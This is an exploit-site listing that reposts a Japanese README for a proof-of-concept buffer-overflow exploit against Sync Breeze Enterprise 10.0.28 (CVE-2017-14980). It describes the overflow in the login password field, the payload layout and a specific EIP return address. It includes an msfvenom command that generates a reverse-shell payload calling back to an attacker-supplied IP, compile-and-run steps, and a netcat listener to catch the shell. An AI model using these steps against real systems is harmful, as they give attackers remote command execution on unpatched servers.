Sploitus

Exploit for CVE-2017-14980_syncbreeze_10.0.28_bof

kitploit · 2026-08-25

Exploit Code

MARKDOWN54 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LIPEOZYY-CVE-2017-14980_SYNCBREEZE_10.0.28_BOF
# エクスプロイト - CVE-2017-14980 - Sync Breeze Enterprise v10.0.28

このリポジトリは、**CVE-2017-14980** として識別される脆弱性を対象とした、Sync Breeze Enterprise バージョン 10.0.28 向けの概念実証 **バッファオーバーフローエクスプロイト (BOF)** を含んでいます。

## 説明

この脆弱性は、`/login` エンドポイントへの POST リクエスト内の `password` フィールドを処理する際の不適切な入力検証に起因します。  
攻撃者はこのフィールドに過度に長い値を送信することで、**EIP** を上書きし任意のコード実行を可能にします。

このエクスプロイトは、以下で構成される慎重に細工されたペイロードを送信します:

  * 520 バイトのフィラー (`'A'`)
  * **EIP** を上書きする 4 バイト
  * 20 バイトの **NOP スレッド**
  * 任意のコマンドを実行するようにカスタマイズ可能な Windows x86 シェルコード



## 動作の仕組み

  1. エクスプロイトは、埋め込まれたシェルコードを含む悪意のあるバッファを構築します。
  2. ペイロードを `password` フィールドに含む HTTP POST リクエストを脆弱なサーバに送信します。
  3. リクエストの処理中に、アプリケーションは命令ポインタ (EIP) を上書きし、攻撃者が提供したシェルコードを実行します。



## 要件

  * C コンパイラ (例: `gcc`)
  * Sync Breeze Enterprise 10.0.28 を実行しているターゲットへのネットワークアクセス
  * 必要に応じて EIP アドレス (`\x83\x0C\x09\x10`) とシェルコードの調整



**msfvenom** を使用したシェルコード生成の例:

root@kitploit:~
    
    
    msfvenom -p windows/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d" -f c
    

root@kitploit:~
    
    
    gcc exploit.c -o exploit
    ./exploit
    

root@kitploit:~
    
    
    nc -nlvp 4444